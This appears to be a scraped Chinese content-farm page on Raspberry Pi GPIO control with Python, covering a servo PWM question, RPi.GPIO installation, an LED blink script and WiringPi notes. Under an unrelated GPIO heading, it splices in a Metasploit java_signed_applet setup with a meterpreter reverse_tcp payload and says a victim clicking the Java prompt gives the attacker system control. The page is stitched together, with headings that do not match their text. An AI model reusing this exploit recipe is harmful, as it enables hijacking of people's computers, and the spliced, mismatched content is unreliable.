菜鳥請(qǐng)教請(qǐng)問如何用python的rpi.gpio控制舵機(jī)

是這樣我用樹莓派的gpio口，通過python的rpi.gpio 這個(gè)模塊輸出pwm波，頻率是50hz，占空比是5%~10%，可是舵機(jī)根本不動(dòng)，只有在剛插上的時(shí)候會(huì)不規(guī)律的動(dòng)一下，

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怎么用python獲取GPIO狀態(tài)

不同操作系統(tǒng)安裝GPIO的命令是不同的，這里以樹莓派的官方操作系統(tǒng)Raspbian為例，說明如何安裝GPIO庫。Raspbian中安裝了兩個(gè)Python版本，分別是2.7.3和3.2.2。Python2.x的安裝包會(huì)一python為前綴，而Python3.x的安裝包回憶python3為前綴。Python2安裝GPIO庫需要輸入命令：1sudoapt-getinstallpython-rpi.gpioPython3安裝GPIO庫需要輸入命令：1sudoapt-getinstallpython

樹莓派怎么樣用 Python 控制 GPIO 來發(fā)送串口指令

python GPIO

1、先安裝python-dev，輸入以下指令。

sudo

apt-get install python-dev

2、安裝RPi.GPIO，依次輸入以下指令。

1)下載：$ wget

2)解壓縮：$ tar xvzf RPi.GPIO-0.5.3a.tar.gz

3)進(jìn)入解壓之后的目錄 ：$ cd RPi.GPIO-0.5.3a

4)啟動(dòng)安裝 ：$ sudo python setup.py install

3、例子：

[python] view plain copy

# -*- coding: utf-8 -*-

import RPi.GPIO as GPIO

import time

# BOARD編號(hào)方式，基于插座引腳編號(hào)

GPIO.setmode(GPIO.BOARD)

# 輸出模式

GPIO.setup(11, GPIO.OUT)

while True:

GPIO.output(11, GPIO.HIGH)

time.sleep(1)

GPIO.output(11, GPIO.LOW)

time.sleep(1)

4、執(zhí)行：

sudo python led.py

5、說明：

1)GPIO.setmode(GPIO.BOARD)，采用插座引腳編號(hào)方式。

2)由于采用插座引腳編號(hào)方式，此處的11腳相當(dāng)于BCM2835寄存器編號(hào)方式的引腳11。

python GPIO

1、說明：

WiringPi是應(yīng)用于樹莓派平臺(tái)的GPIO控制庫函數(shù)，WiringPi遵守GUN Lv3。wiringPi使用C或者C++開發(fā)并且可以被其他語言包轉(zhuǎn)，例如python、ruby或者PHP等。

wiringPi包括一套gpio控制命令，使用gpio命令可以控制樹莓派GPIO管腳。用戶可以利用gpio命令通過shell腳本控制或查詢

GPIO管腳。wiringPi是可以擴(kuò)展的，可以利用wiringPi的內(nèi)部模塊擴(kuò)展模擬量輸入芯片，可以使用

MCP23x17/MCP23x08（I2C

或者SPI）擴(kuò)展GPIO接口。另外可通過樹莓派上的串口和Atmega（例如arduino等）擴(kuò)展更多的GPIO功能。另外，用戶可以自己編寫擴(kuò)展模

塊并把自定義的擴(kuò)展模塊集成到wiringPi中。WiringPi支持模擬量的讀取和設(shè)置功能，不過在樹莓派上并沒有模擬量設(shè)備。但是使用

WiringPi中的軟件模塊卻可以輕松地應(yīng)用AD或DA芯片。

Python調(diào)用gpio口需要su權(quán)限

需要以以root權(quán)限運(yùn)行python程序。

程序上使用的Python操作端口（需要安裝PythonGPIO庫），寫了個(gè)腳本，然后再通過php調(diào)用這個(gè)腳本實(shí)現(xiàn)開門。

所說方法用C程序更換用戶UID?編譯好執(zhí)行（失敗，還是單獨(dú)執(zhí)行可以調(diào)用不可以）變通，讓這個(gè)腳本主動(dòng)輪詢某個(gè)文件內(nèi)值，php控制這個(gè)文件（至少能用起來，但總感覺這個(gè)方法不怎么好）修改/etc/sudoers文件，賦予特定用戶特定權(quán)限。

如何在python中將某一gpio引腳設(shè)為輸出

安裝 Sun Java JDK 和 rjb gem, 并且設(shè)置環(huán)境變量

—–code—–

root@bt: apt-get install sun-java6-jdk

root@bt: gem install rjb

變量設(shè)置

root@bt: echo “JAVA_HOME=/usr/lib/jvm/java-6-sun” /etc/bash.bashrc

root@bt: echo “export JAVA_HOME” /etc/bash.bashrc

root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun

root@bt: export JAVA_HOME

—end code——

—start metasploit—–

use exploit/multi/browser/java_signed_applet

set TARGET 1 //請(qǐng)注意你的目標(biāo)

set SRVHOST 10.2.4.200

set SRVPORT 80

set URIPATH pentura

set PAYLOAD /meterpreter/reverse_tcp

set LHOST 10.2.4.200

set LPORT 4444

—end metasploit——–

———————————————————————-

如果當(dāng)有一臺(tái)機(jī)子訪問了你的80端口

METASPLOIT控制端里將會(huì)顯示詳細(xì)的信息

———————————————————————

訪問你80端口的機(jī)子瀏覽器會(huì)跳出java窗口，如果目標(biāo)點(diǎn)擊確定，你就能取得系統(tǒng)權(quán)限

你還可以修改java小程序的，以便實(shí)現(xiàn)更加真是的ssl.

分享題目：gpio函數(shù)Python,GPIO詳解
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